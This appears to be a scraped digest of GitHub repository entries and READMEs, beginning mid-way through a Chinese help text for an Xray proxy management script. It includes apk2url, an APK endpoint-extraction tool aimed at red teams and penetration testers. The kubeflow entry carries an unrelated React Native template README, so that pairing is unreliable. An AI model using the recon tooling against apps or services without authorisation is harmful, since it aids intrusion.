   qr [name]                                       二维码信息
   url [name]                                      URL 信息
   log                                             查看日志
   logerr                                          查看错误日志

更改:
   dp, dynamicport [name] [start | auto] [end]     更改动态端口
   full [name] [...]                               更改多个参数
   id [name] [uuid | auto]                         更改 UUID
   host [name] [domain]                            更改域名
   port [name] [port | auto]                       更改端口
   path [name] [path | auto]                       更改路径
   passwd [name] [password | auto]                 更改密码
   key [name] [Private key | atuo] [Public key]    更改密钥
   type [name] [type | auto]                       更改伪装类型
   method [name] [method | auto]                   更改加密方式
   sni [name] [ ip | domain]                       更改 serverName
   seed [name] [seed | auto]                       更改 mKCP seed
   new [name] [...]                                更改协议
   web [name] [domain]                             更改伪装网站

进阶:
   dd, ddel [name...]                              删除多个配置**
   fix [name]                                      修复一个配置
   fix-all                                         修复全部配置
   fix-caddyfile                                   修复 Caddyfile
   fix-config.json                                 修复 config.json

管理:
   un, uninstall                                   卸载
   u, update [core | sh | caddy] [ver]             更新
   U, update.sh                                    更新脚本
   s, status                                       运行状态
   start, stop, restart [caddy]                    启动, 停止, 重启
   t, test                                         测试运行
   reinstall                                       重装脚本

测试:
   client, genc [name]                             显示用于客户端 JSON, 仅供参考
   debug [name]                                    显示一些 debug 信息, 仅供参考
   gen [...]                                       同等于 add, 但只显示 JSON 内容, 不创建文件, 测试使用
   no-auto-tls [...]                               同等于 add, 但禁止自动配置 TLS, 可用于 *TLS 相关协议
   xapi [...]                                      同等于 xray api, 但 API 后端使用当前运行的 Xray 服务

其他:
   bbr                                             启用 BBR, 如果支持
   bin [...]                                       运行 Xray 命令, 例如: xray bin help
   api, x25519, tls, run, uuid  [...]              兼容 Xray 命令
   h, help                                         显示此帮助界面

谨慎使用 del, ddel, 此选项会直接删除配置; 无需确认
反馈问题) https://github.com/233boy/xray/issues
文档(doc) https://233boy.com/xray/xray-script/

n0mi1k/apk2url

2023-10-29T02:02:07Z

A tool to quickly extract IP and URL endpoints from APKs by disassembling and decompiling

apk2url

apk2url easily extracts URL and IP endpoints from an APK file to a .txt output. This is suitable for information gathering by the red team, penetration testers and developers to quickly identify endpoints associated with an application.

NOTE: Why use apk2url? When compared with APKleaks, MobSF and AppInfoScanner, apk2url identifies a significantly higher number of endpoints.

Inspired by diggy, apk2url is rewritten and upgraded with IP support, stronger regex, auto filtering and Jadx decompilation.

Running apk2url

git clone https://github.com/n0mi1k/apk2url

./apk2url.sh /path/to/apk/file.apk

You can also install directly for easy access by running ./install.sh.
After that you can run apk2url anywhere:

apk2url /path/to/apk/file.apk

By default there are 2 output files in the "endpoints" directory:

<apkname>_endpoints.txt - Contains endpoints with full URL paths
<apkname>_uniqurls.txt - Contains unique endpoint domains and IPs

By default, the program does not log the APK file path where endpoints are discovered.
To enable logging, run as follows:

apk2url /path/to/apk/file.apk log

*Tested on Kali 2023.2 and Ubuntu 22.04

Dependencies

Use apt for easy installation of these tools required by apk2url:

Apktool
Jadx

Demonstration

Disclaimer

This tool is for educational and testing purposes only. Do not use it to exploit the vulnerability on any system that you do not own or have permission to test. The authors of this script are not responsible for any misuse or damage caused by its use.

pharo-graphics/Roassal

2023-10-29T02:02:34Z

The Roassal Visualization Engine

iterative/helm-charts

2023-10-30T01:36:15Z

📦 Iterative Helm charts 🐳

equinixmetal-helm/krakend

2023-10-30T01:36:15Z

A helm chart to deploy krakend using the assumptions from the infratographer project

WebMechanix/gtm-improved-linkedin-insight-tag

2023-10-29T02:02:32Z

An optimized (and greatly simplified) LinkedIn Insight tag template that actually works like it should. Includes support for overriding advanced conversion options not well documented by LinkedIn.

smartcontractkit/foundry-chainlink-toolkit

2023-10-29T01:43:08Z

A plugin to spin up local Chainlink node with Foundry

yunusdefi/contract

2023-10-29T02:02:40Z

scroll-tech/scroll

2023-10-29T02:02:40Z

Scroll's Monorepo

morpho-org/metamorpho

2023-10-29T02:02:40Z

MetaMorpho

galenmarchetti/jupyter-notebook-package

2023-10-30T01:36:35Z

A Kurtosis package for Python data engineers, deploying a Jupyter notebook along with a configurable set of databases, and a visualization tool (Streamlit)

trpc-group/trpc

2023-10-29T02:02:57Z

A multi-language, pluggable, high-performance RPC framework

kurtosis-tech/ethereum-package

2023-10-29T02:02:57Z

A Kurtosis package that deploys a private, portable, and modular Ethereum devnet

sebastiandedeyne/sveltebyexample.com

2023-10-29T01:43:35Z

Svelte by Example is a succinct, gentle introduction to Svelte & SvelteKit to peak your curiosity.

matfantinel/sveltekit-static-blog-template

2023-10-29T01:43:35Z

A lightweight and customizable template for blogs and portfolio websites, built with SvelteKit.

ollama-webui/ollama-webui

2023-10-29T02:03:06Z

ChatGPT-Style Responsive Chat Web UI Client (GUI) for Ollama 🦙

osc-vitap/OpenSource101

2023-10-29T02:03:06Z

This is a starter repository made specifically so we can help you get your first pull request and learn the basics of Git and GitHub.

techniq/svelte-ux

2023-10-29T02:03:06Z

Collection of Svelte components, actions, stores, and utilities to build highly interactive applications.

skiptools/skip

2023-10-30T01:36:49Z

Skip transpiler for converting SwiftUI iOS apps into Android Kotlin Compose apps

Skip

Skip is a technology for creating dual-platform mobile apps in Swift. Read this introduction to learn more about Skip.

This repository hosts the Skip development toolchain, a.k.a. SkipStone. It also hosts the Skip forums for general discussions as well as specific issues and bug reports.

Getting Started

System Requirements

Skip requires a macOS 13 development machine with Xcode 15, Android Studio 2023, and Homebrew installed.

Installation

Install Skip by running the Terminal command:

brew install skiptools/skip/skip

This will download and install the skip tool itself, as well as the gradle and JDK dependencies that are necessary for building and testing the Kotlin/Android side of your apps. Note: If you don't already have a compatible JDK+ installed on your machine, you may need to enter an administrator password to complete the installation.

Ensure that the development prerequisites are satisfied by running:

skip checkup

If the checkup passes, you're ready to start developing with Skip!

Creating an App {#app_development}

Create a new app project with the command:

skip init --open-xcode --appid=bundle.id project-name AppName

For example:

skip init --open-xcode --appid=com.xyz.HelloSkip hello-skip HelloSkip

This will create a hello-skip/ folder with a new SwiftPM package containing a single module named HelloSkip, along with a HelloSkip.xcodeproj project with a HelloSkipApp target and an .xcconfig file specifying the app's name, bundle identifier, and other customizable metadata.

Xcode will open the new project, but before you can build and launch the transpiled app, an Android emulator needs to be running. Launch Android Studio.app and open the Virtual Device Manager from the ellipsis menu of the Welcome dialog. From there, Create Device (e.g., "Pixel 6") and then Launch the emulator.

Once the Android emulator is running, select and run the HelloSkipApp target in Xcode. The first build will take some time to compile the Skip libraries, and you may be prompted with a dialog to affirm that you trust the Skip plugin. Once the build and run action completes, the SwiftUI app will open in the selected iOS simulator, and at the same time the transpiled app will launch in the currently-running Android emulator.

Browse to the ContentView.swift file and make a small change and re-run the target: the app will be re-built and re-run on both platforms simultaneously with your changes.

See the product documentation for further information developing with Skip. Happy Skipping!

Creating a Multi-Module App

Skip is designed to accommodate and encourage using multi-module projects. The default skip init command creates a single-module app for simplicity, but you can create a modularized project by specifying additional module names at the end of the chain. For example:

skip init --open-xcode --appid=com.xyz.HelloSkip multi-project HelloSkip HelloModel HelloCore

This command will create a SwiftPM project with three modules: HelloSkip, HelloModel, and HelloCore. The heuristics of such module creation is that the modules will all be dependent on their subsequent peer module, with the first module (HelloSkip) having an initial dependency on SkipUI, the second module depending on SkipModel, and the final module in the chain depending on SkipFoundation. The Package.swift file can be manually edited to shuffle around dependencies, or to add new dependencies on external Skip frameworks such as the nascent SkipSQL or SkipXML libraries.

Creating a Dual-Platform Framework {#framework_development}

Skip library projects are pure SwiftPM packages that encapsulate common functionality. Each of the core Skip compatibility frameworks (skip-lib, skip-unit, skip-foundation, and skip-ui) are Skip library projects. Other commonly-used projects include skip-sql, skip-script, and skip-zip.

A new library can be created and opened with:

skip init --build --test lib-name ModuleName

This will create a new lib-name folder containing a Package.swift with targets of ModuleName and ModuleNameTests.

This project can be opened in Xcode.app, which you can use to build and run the unit tests. Running swift build and swift test from the Terminal can also be used for headless testing as part of a continuous integration process.

Skip Project structure

lib-name
├── Package.resolved
├── Package.swift
├── README.md
├── Sources
│   └── ModuleName
│       ├── ModuleName.swift
│       ├── Resources
│       │   └── Localizable.xcstrings
│       └── Skip
│           └── skip.yml
└── Tests
    └── ModuleNameTests
        ├── ModuleNameTests.swift
        ├── Resources
        │   └── TestData.json
        ├── Skip
        │   └── skip.yml
        └── XCSkipTests.swift

Skip Package.swift structure

// swift-tools-version: 5.8
import PackageDescription

let package = Package(
    name: "lib-name",
    defaultLocalization: "en",
    platforms: [.iOS(.v16), .macOS(.v13), .tvOS(.v16), .watchOS(.v9), .macCatalyst(.v16)],
    products: [
        .library(name: "ModuleName", targets: ["ModuleName"]),
    ],
    dependencies: [
        .package(url: "https://source.skip.tools/skip.git", from: "0.7.14"),
        .package(url: "https://source.skip.tools/skip-foundation.git", from: "0.0.0"),
    ],
    targets: [
        .target(name: "ModuleName", plugins: [.plugin(name: "skipstone", package: "skip")]),
        .testTarget(name: "ModuleNameTests", dependencies: ["ModuleName"], plugins: [.plugin(name: "skipstone", package: "skip")]),
    ]
)

Troubleshooting

Skip's architecture relies on recent advances in the plugin system used by Xcode 15 and Swift Package Manager 5.9. When unexpected issues arise, often the best first step is to clean your Xcode build (Product → Clean Build Folder) and reset packages (File → Packages → Reset Package Caches). Restarting Xcode is sometimes warranted, and trashing the local DerivedData/ folder might even be needed.

Specific known error conditions are listed below. Search the documentation, issues, and discussions for more information and to report problems.

Xcode sometimes reports error messages like the following:
```
Internal inconsistency error (didStartTask): targetID (174) not found in _activeTargets.
Internal inconsistency error (didEndTask): '12' missing from _activeTasks.
```
When these errors occur, the build appears to complete successfully although changes are not applied. Unfortunately, this is an Xcode bug. We have found the following workarounds:
- Continue to retry the build. Eventually Xcode may complete successfully, although the errors often continue to become more frequent until you are forced to apply one of the other solutions below.
- Restart Xcode.
- Clean and rebuild.
You can read more about this Xcode error on the Swift.org forums.
Skip may highlight the wrong line in build errors. When Skip surfaces the wrong line number, it is typically only one line off.
When working with multiple modules, we have occasionally seen situations in which changed files do not re-transpile. This issue is discussed in the local library development documentation, because those are the conditions under which we've run across the error.

codepath/ios101-project6-tumblr-starter

2023-10-30T01:36:49Z

Project 6: Tumblr Detail Starter

aws-amplify/amplify-swift

2023-10-29T02:03:13Z

A declarative library for application development using cloud services.

Amplify Library for Swift

AWS Amplify provides a declarative and easy-to-use interface across different categories of cloud operations. Our default implementation works with Amazon Web Services (AWS), but AWS Amplify is designed to be open and pluggable for any custom backend or service.

The Amplify Library for Swift is layered on the AWS SDK for Swift, which was released as Developer Preview last year. This allows for access to the AWS SDK for Swift for a breadth of service-centric APIs.

API Documentation

Getting Started Guide

Features/APIs

Analytics - for logging metrics and understanding your users.
API (GraphQL) - for adding a GraphQL endpoint to your app.
API (REST) - for adding a REST endpoint to your app.
Authentication - for managing your users.
DataStore - for making it easier to program for a distributed data store for offline and online scenarios.
Geo - for adding location-based capabilities to your app.
Predictions - for connecting your app with machine learning services.
Push Notifications - for integrating push notifications in your app.
Storage - store complex objects like pictures and videos to the cloud.

Platform Support

Platform	Versions	Support Level
iOS	13+	GA
macOS	10.15+	GA
tvOS	13+	GA
watchOS	9+	GA
visionOS	1+	Preview*

To use Amplify Swift with visionOS, you'll need to target the visionos-preview branch. For more information, see Platform Support on the visionos-preview branch.

Semantic versioning

We follow semantic versioning for our releases.

Semantic versioning and enumeration cases

When Amplify adds a new enumeration value, we will publish a new minor version of the library.

Applications that evaluate all members of an enumeration using a switch statement can add a default case to prevent new cases from causing compile warnings or errors.

License

This library is licensed under the Apache 2.0 License.

Installation

Amplify requires Xcode 14.1 or higher to build for iOS and macOS. Building for watchOS and tvOS requires Xcode 14.3 or higher.

For more detailed instructions, follow the getting started guides in our documentation site

Swift Package Manager

Swift Package Manager is distributed with Xcode. To start adding the Amplify Libraries to your iOS project, open your project in Xcode and select File > Add Packages.
Enter the Amplify Library for Swift GitHub repo URL (https://github.com/aws-amplify/amplify-swift) into the search bar.
You'll see the Amplify Library for Swift repository rules for which version of Amplify you want Swift Package Manager to install. Choose Up to Next Major Version and enter 2.0.0 as the minimum version for the Dependency Rule, then click Add Package.
Choose which of the libraries you want added to your project. Always select the Amplify library. The "Plugin" to install depends on which categories you are using:
- API: AWSAPIPlugin
- Analytics: AWSPinpointAnalyticsPlugin
- Auth: AWSCognitoAuthPlugin
- DataStore: AWSDataStorePlugin
- Geo: AWSLocationGeoPlugin
- Storage: AWSS3StoragePlugin
Select all that are appropriate, then click Add Package.

You can always go back and modify which SPM packages are included in your project by opening the Package Dependencies tab for your project: Click on the Project file in the Xcode navigator, then click on your project under the Project section, then select the Package Dependencies tab.

In your app code, explicitly import a plugin when you need to add a plugin to Amplify, access plugin options, or access a category escape hatch.

import Amplify
import AWSCongitoAuthPlugin
import AWSAPIPlugin
import AWSDataStorePlugin

// ...

func initializeAmplify() {
    do {
        try Amplify.add(AWSCognitoAuthPlugin())
        try Amplify.add(AWSAPIPlugin())
        try Amplify.add(AWSDataStorePlugin())
        // and so on ...
        try Amplify.configure()
    } catch {
        assertionFailure("Error initializing Amplify: \(error)")
    }
}

If you're just accessing Amplify category APIs (e.g., Auth.signIn() or Storage.uploadFile()), you only need to import Amplify:

import Amplify

// ...

func signIn() async throws {
    let signInResult = try await Amplify.Auth.signIn(...)
    // ...
}

Escape Hatch

All services and features not listed in the Features/API sectios are supported via the Swift SDK or if supported by a category can be accessed via the Escape Hatch like below:

import Amplify
import AWSS3StoragePlugin
import AWSS3

// ...

guard let plugin = try Amplify.Storage.getPlugin(for: "awsS3StoragePlugin") as? AWSS3StoragePlugin else {
    print("Unable to to cast to AWSS3StoragePlugin")
    return
}

let awsS3 = plugin.getEscapeHatch()

let accelerateConfigInput = PutBucketAccelerateConfigurationInput()
do {
    let accelerateConfigOutput = try await awsS3.putBucketAccelerateConfiguration(
        input: accelerateConfigInput
    )
    print("putBucketAccelerateConfiguration output: \(accelerateConfigOutput)")
} catch {
    print("putBucketAccelerateConfiguration error: \(error)")
}

Reporting Bugs/Feature Requests

We welcome you to use the GitHub issue tracker to report bugs or suggest features.

When filing an issue, please check existing open, or recently closed, issues to make sure somebody else hasn't already reported the issue. Please try to include as much information as you can. Details like these are incredibly useful:

Expected behavior and observed behavior
A reproducible test case or series of steps
The version of our code being used
Any modifications you've made relevant to the bug
Anything custom about your environment or deployment

Open Source Contributions

We welcome any and all contributions from the community! Make sure you read through our contribution guide here before submitting any PR's. Thanks! ♥️

PDFTron/PDFNetWrappers

2023-10-29T01:43:38Z

Code repository for building different language bindings for PDFNetC.

Purdue-SoCET/vito-uart

2023-10-29T02:03:29Z

kylebutts/latex-templates

2023-10-29T01:44:08Z

Templates of all kind

Latex templates

This is a repository of all my latex templates. I've done my best to document every line of code for these themes so that you can understand what it does and delete/modify things as you see fit. You can see a live preview of each one here:

Slides | Article | Referee Report

Latex Slides

This latex slide aims for nice typography, minimal aesthetics so the focus is on the content, and a set of helpful commands including easily colored words, full-size image frames, table highlighting, multi-column layouts, and more. The theme is highly customizable with (1) a well commented slides.sty file so you can tweak it and make it your own and (2) by defining the colors in the top of your document:

% Define `accent`/`accent2` colors for theme customization
\definecolor{accent}{HTML}{006896}
\definecolor{accent2}{HTML}{E64173}
\usepackage{slides}

Here are some highlights

Latex Article

This is how I write my papers. There's not many special bells and whistles, but I think it looks nice and clean.

Math commands

I have a set of math commands in math.sty that borrow heavily from Pascal Michaillat. See the document for examples of what I've included.

Easily-hideable comments in paper

This also includes a very useful way to leave notes in a document. Then, you can comment \kyle{Thoughts here} to leave a comment. Toggling \booltrue to \boolfalse will hide the comments from the document.

% Conditionally display thoughts (hide by switching to `\boolfalse`)
\booltrue{INCLUDECOMMENTS}
\newcommand{\kyle}[1]{\coauthorComment[Kyle]{#1}}

Response to Referees

The goal of this is to make referee reports look nice and make it easy to structure the document. For each referee, use this to create a section with the referee:

\NewRef{Referee 1}{R1}

Then for each comment, wrap the referee's comment with a refcomment environment and it will create a subsection and automatically number the comments

\begin{refcomment}

\end{refcomment}

.gitignore

This is a recommended set of files to include in .gitignore to not commit ugly latex auxiliary files:

*.aux
*.lof
*.log
*.lot
*.fls
*.out
*.toc
*.fmt
*.fot
*.cb
*.cb2
.*.lb
*.bbl
*.bcf
*.blg
*.fdb_latexmk
*.run.xml
*.synctex.gz
*.nav
*.snm

wklchris/Note-by-LaTeX

2023-10-29T02:03:35Z

《简单粗暴 LaTeX》出版图书开源仓库 | The opensource repo for my published LaTeX book.

《简单粗暴LaTeX》开源仓库

本仓库是手册《简单粗暴LaTeX》的开源仓库。本书涵盖了LaTeX的基本使用场景，以简明的例子来展现各命令的用法。书风如其名。

所有PDF内容的下载会发布在本仓库的release页面中。 当然，读者也可以自行下载本仓库的tex文件，并进行pdf编译。

公告

本公告于2020年9月15日发送；当前版本 v1.6.4-pre，稳定版本为 v1.6.3.

本手册正在更新到 v2.0.0，预计主要是勘误。手册暂时没有太多新内容需要添加；本人今年也较为忙碌，该更新可能会比较缓慢。
本手册的稿件已经交由中国工信出版集团、人民邮电出版社完成出版，出版后的书名在本仓库的书名基础上有改动。纸质出版手册的链接：
ISBN: 978-7-115-53440-8

出版书相比本仓库的版本主要有以下不同：内容上，添加了一章“LATEX 环境配置”；叙述上，本人与编辑讨论进行了校对与改动；样式上，全书由出版社进行了重新排版。

关于

以下是几点关于本仓库的说明：

手册出版后，本仓库继续维护与开源。
自从手册基本定稿后，本仓库的维护周期就大约是每年一次，主要是内容订正的汇总。在另行通知前，我预计将继续保持这个维护频率。

scastiel/book-pr

2023-10-29T02:03:35Z

Pull Requests and Code Review: Best Practices for Developers, from Junior to Team Lead.

Pull Requests and Code Review

Best Practices for Developers, from Junior to Team Lead

This is a book where I listed all the advice I gave to and received from developers over the past few years about pull requests and code review. You’ll find real-life examples and actionable insights to get better at the exercise, a must for everyday developer collaboration.

Here are the available options to read the book:

In the file manuscript.md, you’ll find the book’s full content as Markdown.
You can find the PDF and ePub versions on Gumroad (pay what you want, starting from $0) or Amazon ($2.99).

As a bonus, you’ll find on the repository all that is necessary to build the PDF and ePub versions book using Pandoc. Feel free to reuse it or use it for inspiration to distribute your own book!

License

premAI-io/state-of-open-source-ai

2023-10-29T02:03:35Z

Clarity in the current fast-paced mess of Open Source innovation

📘 The State of Open Source AI (2023 Edition)

Clarity in the current fast-paced mess of Open Source innovation.

This is the source repository for The State of Open Source AI ebook, a comprehensive guide exploring everything from model evaluations to deployment, and a great FOMO cure.

Want to discuss any topics covered in the book? We have a dedicated channel (#book) on our Discord server.

Contributing

You can help keep the book up-to-date! Contributions, issues, and comments are welcome! See the Contributing Guide for more information on how.

Licence

This book is released under CC-BY-4.0 (text) and Apache-2.0 (code).

Citation: BibTeX

Community

tinacms/tinacms

2023-10-29T01:44:36Z

A fully open-source headless CMS that supports Git and Visual Editing

Tina is a headless content management system with support for visual editing and Git.

Getting Started

Test a TinaCMS starter site locally

npx create-tina-app@latest

Or try a demo site on Tina Cloud

Documentation

Visit Tina's documentation to learn more.

Questions?

Visit the Github Discussions or our Community Discord to ask questions, or look us up on on Twitter at @tinacms.

Contributing

Please see our ./CONTRIBUTING.md

Maintainers

Jeff See (@jeffsee55)
James O'Halloran (@jamespohalloran)
Logan Anderson (@logan_anders0n)
Kelly Davis (@kldavis)

All Contributors ✨

Thanks goes to these wonderful people (emoji key):

_Forestry.io 💵	_NCPhillips 📆 💻 📝 🐛 📖 🤔 🚇 🚧 👀 ⚠️	_DJ 📆 💻 📝 🐛 📖 🤔 🚧 👀 ⚠️	_{Scott Byrne} 🎨 💻 👀 🚧 📖 📝	_{James O'Halloran} 📆 🐛 🤔 🚧 👀 ⚠️ 💻 📝	_{Kendall Strautman} 🎨 📆 🐛 🤔 🚧 📢 👀 💻 📝	_{Nichlas Wærnes Andersen} 💻 🎨 🤔
_Jordan 📆 📢 🤔 🐛 🚇 📖 💻	_{Frank Taillandier} 👀 📖 📆 📓 🐛 💻	_{Scott Gallant} 📖 📢 🔍 📝	_{Mitch MacKenzie} 📓 📝	_zacchg 📓	_{Lyle Underwood} 🐛 💻	_Laura1111999 📖
_{Thom Krupa} 📓	_{Michael Gauthier} 📓 📖	_{dcgoodwin2112} 📖	_akshayknz 📖	_{Adam Silverstein} 📖	_{Brad McGonigle} 💻	_{Jake Coxon} 💻
_{Ladislav Prskavec} 💻	_{Bolarinwa Balogun} 🚇	_{Mason Medeiros} 📓	_ironsean 📓 📖 💻	_kyp 🐛	_{Vladislav Shkodin} 🐛	_{maciek_grzybek} 🤔 💻 🚇
_weibenfalk 📹 📝 💻	_{David Bergeron} 🐛	_{Kellan Martin} 💻	_{Jon Miller} 🤔	_Paul 🐛	_{Chris Flannery} 💻 📖	_{Jefferson Bledsoe} ⚠️ 📖
_Kenia 💻	_{Andrew James} 💻	_{Zach B} 📢	_{Jyoti Puri} 💻 👀 ⚠️ 🚧 🐛	_nibtime 💻 🐛	_{Johan Soulet} 💻 🐛	_{Cleiton Pereira} 🐛 🤔
_chrisdmacrae 🚇 💬 🤔	_jhuggett 💻	_{Nicolas Cisco} 💻 ⚠️	_{Hungry Bear Studio} 💻	_{Alex Barbato} 💻	_{Dani Tulp} 💻 🤔 📖	_PaulBunker 💻
_{JavaScript Joe} 💻	_{Madelyn Eriksen} 📝	_{Marc Mintel} 🚇 💻 🐛	_{Jeff See} 🚇 💻 🚧 ⚠️ 👀	_{Brandon Landfried} 🐛	_{Chad Johnson} 🐛	_{David Arnold} 🤔
_{Gavin McFarland} 🐛	_blandfried 🐛 💻	_{Mark Lawlor} 🤔	_{Ben Scott} 👀	_{Brent Mitton} 💻 📖	_{Colin McGraw} 📖	_{Brandon Shackelford} 💻 🐛
_{Amy Kapernick} 🐛	_{Sam Ullman} 🐛	_{Andreas Adam} 🤔 📖 💻	_{Stephen Sugden} 📖	_{Logan Anderson} 💻	_{Isabella Brookes} 💻	_{Lukas Strassel} 💻 📖
_{Lauren Clark} 📖	_{Ar Nazeh} 📖	_{David Royer} 📖	_{Tulsi Prasad} 📖	_{Jan Vlnas} 📖	_{Omar Costa Hamido} 📖 🐛	_{Kelsey Edelstein} 📖
_CodeItQuick 🐛	_{Justin Menga} 💻	_{Luke Digby} 📖	_{Erwann Mest} 📖	_{Frank Noirot} 📖	_Matthias 📖	_crouton 🐛
_{Alexandre Boucher} 💻	_{Can Rozanes} 💻 🤔	_{Yann Vanhalewyn} 🐛	_{Artem Artemyev} 🐛 💻	_{Lachlan McKay} 💻 🐛	_{Matthew Francis Brunetti} 💻 🐛	_{Joe Innes} 📖 💻
_{Austin Condiff} 💻 🤔	_{pristas-peter} 🐛 💻	_{Dan Beaven} 💻	_{Hirvin Faria} 📖	_{Travis Miller} 💻	_{Chris Davis} 💻 🚧 ⚠️ 👀	_SaintMalik 📖
_{Jeremy Epstein} 📖 💻 🔌	_{Eddie Arpin} 💻 🐛	_ryuurock 💻	_{Xavier Mirabelli-Montan} 💻 🐛 🤔	_{Phoenix-Alpha} 💻 🐛 🚧

This project follows the all-contributors specification. Contributions of any kind welcome!

boxyhq/saas-starter-kit

2023-10-29T01:44:36Z

🔥 Enterprise SaaS Starter Kit - Kickstart your enterprise app development with the Next.js SaaS boilerplate 🚀

Participating in

⬆️ Take a look at our Issues ⬆️

⭐ Enterprise SaaS Starter Kit

The Open Source Next.js SaaS boilerplate for Enterprise SaaS app development.

Please star ⭐ the repo if you want us to continue developing and improving the SaaS Starter Kit! 😀

📖 Additional Resources

Video - BoxyHQ's SaaS Starter Kit: Your Ultimate Enterprise-Compliant Boilerplate
Blog - Enterprise-ready Saas Starter Kit

Next.js-based SaaS starter kit saves you months of development by starting you off with all the features that are the same in every product, so you can focus on what makes your app unique.

🛠️ Built With

Next.js
Tailwind CSS
Postgres
React
Prisma
TypeScript
SAML Jackson (Provides SAML SSO, Directory Sync)
Svix (Provides Webhook Orchestration)
Retraced (Provides Audit Logs Service)

🚀 Deployment

✨ Getting Started

Please follow these simple steps to get a local copy up and running.

Prerequisites

Node.js (Version: >=18.x)
PostgreSQL
NPM
Docker compose

Development

1. Setup

Fork the repository
Clone the repository by using this command:

git clone https://github.com/<your_github_username>/saas-starter-kit.git

2. Go to the project folder

cd saas-starter-kit

3. Install dependencies

npm install

4. Set up your .env file

Duplicate .env.example to .env.

cp .env.example .env

5. Create a database (Optional)

To make the process of installing dependencies easier, we offer a docker-compose.yml with a Postgres container.

docker-compose up -d

6. Set up database schema

npx prisma db push

7. Start the server

In a development environment:

npm run dev

8. Start the Prisma Studio

Prisma Studio is a visual editor for the data in your database.

npx prisma studio

9. Testing

We are using Playwright to execute E2E tests. Add all tests inside the /tests folder.

Update playwright.config.ts to change the playwright configuration.

Install Playwright dependencies

npm run playwright:update

Run E2E tests

npm run test:e2e

Note: HTML test report is generated inside the report folder. Currently supported browsers for test execution chromium and firefox

Fully customizable boilerplate out of the box, see images below 👇👇👇

🥇 Features

Create account
Sign in with Email and Password
Sign in with Magic Link
Sign in with SAML SSO
Sign in with Google [Setting up Google OAuth]
Sign in with GitHub [Creating a Github OAuth App]
Directory Sync (SCIM)
Update account
Create team
Invite users to the team
Manage team members
Update team settings
Webhooks & Events
Internationalization
Audit logs
Roles and Permissions
Dark mode

➡️ Coming Soon

Billing & subscriptions
Unit and integration tests

✨ Contributing

Thanks for taking the time to contribute! Contributions make the open-source community a fantastic place to learn, inspire, and create. Any contributions you make are greatly appreciated.

Please try to create bug reports that are:

Reproducible. Include steps to reproduce the problem.
Specific. Include as much detail as possible: which version, what environment, etc.
Unique. Do not duplicate existing opened issues.
Scoped to a Single Bug. One bug per report.

Contributing Guide

🤩 Community

Discord (For live discussion with the Open-Source Community and BoxyHQ team)
Twitter / LinkedIn (Follow us)
Youtube (Watch community events and tutorials)
GitHub Issues (Contributions, report issues, and product ideas)

🌍 Contributors

Made with contrib.rocks.

🛡️ License

Apache 2.0 License

kubeflow/kubeflow

2023-10-29T01:44:36Z

This is a new React Native project, bootstrapped using @react-native-community/cli.

Getting Started

Note: Make sure you have completed the React Native - Environment Setup instructions till "Creating a new application" step, before proceeding.

Step 1: Start the Metro Server

First, you will need to start Metro, the JavaScript bundler that ships with React Native.

To start Metro, run the following command from the root of your React Native project:

# using npm
npm start

# OR using Yarn
yarn start

Step 2: Start your Application

Let Metro Bundler run in its own terminal. Open a new terminal from the root of your React Native project. Run the following command to start your Android or iOS app:

For Android

# using npm
npm run android

# OR using Yarn
yarn android

For iOS

# using npm
npm run ios

# OR using Yarn
yarn ios

If everything is set up correctly, you should see your new app running in your Android Emulator or iOS Simulator shortly provided you have set up your emulator/simulator correctly.

This is one way to run your app — you can also run it directly from within Android Studio and Xcode respectively.

Step 3: Modifying your App

Now that you have successfully run the app, let's modify it.

Open App.tsx in your text editor of choice and edit some lines.
For Android: Press the R key twice or select "Reload" from the Developer Menu (Ctrl + M (on Window and Linux) or Cmd ⌘ + M (on macOS)) to see your changes!

For iOS: Hit Cmd ⌘ + R in your iOS Simulator to reload the app and see your changes!

Congratulations! 🎉

You've successfully run and modified your React Native App. 🥳

Now what?

If you want to add this new React Native code to an existing application, check out the Integration guide.
If you're curious to learn more about React Native, check out the Introduction to React Native.

Troubleshooting

If you can't get this to work, see the Troubleshooting page.

Learn More

To learn more about React Native, take a look at the following resources:

React Native Website - learn more about React Native.
Getting Started - an overview of React Native and how setup your environment.
Learn the Basics - a guided tour of the React Native basics.
Blog - read the latest official React Native Blog posts.
@facebook/react-native - the Open Source; GitHub repository for React Native.

felipemotarocha/fullstackweek-store

2023-10-29T02:04:02Z

Projeto Full Stack Week 2.0 💻

Este é o repositório oficial do e-commerce desenvolvido durante a Full Stack Week, um evento diferente de tudo que você já viu, com 4 lives de muito conteúdo. Nosso objetivo principal é criar um projeto altamente relevante, utilizando as tecnologias mais modernas e demandadas pelo mercado, a fim de adicionar autoridade ao currículo de desenvolvedor.

Tecnologias Utilizadas 🚀

React: Uma biblioteca JavaScript popular para construir interfaces de usuário interativas.
Next.js 13: Um framework React que oferece renderização do lado do servidor (SSR), geração estática (SSG), entre muitos outros recursos.
Next Auth: Biblioteca para autenticação de usuários com OAuth.
Postgres: Um sistema de gerenciamento de banco de dados relacional.
Prisma: Um ORM (Object-Relational Mapping) para Node.js e TypeScript.
shadcn/ui: Uma biblioteca de componentes de IU reutilizáveis e estilizáveis.
Tailwind CSS: Um framework CSS que oferece várias classes para utilização já pré-estilizadas.
API do Stripe: Uma API de pagamento popular para processar pagamentos online de forma segura.

Funcionalidades 📦

Login com o Google: Permitimos que os usuários façam login usando suas contas do Google para uma experiência de autenticação simplificada.
Navegação por Categorias: Os usuários podem explorar produtos por categorias, facilitando a busca e a compra.
Descontos em Produtos: Alguns produtos podem ter descontos especiais, permitindo aos usuários economizar em suas compras.
Gerenciamento do Carrinho de Compras: Os usuários podem adicionar produtos ao seu carrinho de compras, remover produtos e também modificar a quantidade de um produto no carrinho de compras conforme necessário.
Pagamento do Pedido com a API do Stripe: Oferecemos uma experiência segura de pagamento online com a integração da API do Stripe, incluindo o uso de webhooks para processar eventos relacionados ao pagamento. Os usuários podem concluir seus pedidos com facilidade e segurança.

Protótipo no Figma 🎨

Você pode visualizar o protótipo do nosso projeto no Figma. Ele oferece uma prévia visual de como a interface do usuário é projetada e como as diferentes funcionalidades são organizadas. Confira o protótipo aqui.

Fique à vontade para explorar e compartilhar suas opiniões sobre o design do projeto!

Contribuições e Colaborações 🤝

Este projeto está totalmente aberto a contribuições. Se você deseja colaborar, fique à vontade para criar pull requests, corrigir bugs, adicionar novos recursos ou aprimorar a documentação. Sua contribuição é valiosa e ajuda a melhorar ainda mais este projeto!

Como Contribuir

Faça um fork deste repositório.
Crie uma branch para sua contribuição:

    git checkout -b minha-contribuicao

Faça suas alterações e adicione commits descritivos (seguindo o Conventional Commits, preferencialmente).
Crie um pull request para a branch main deste repositório.

OpenBMB/XAgent

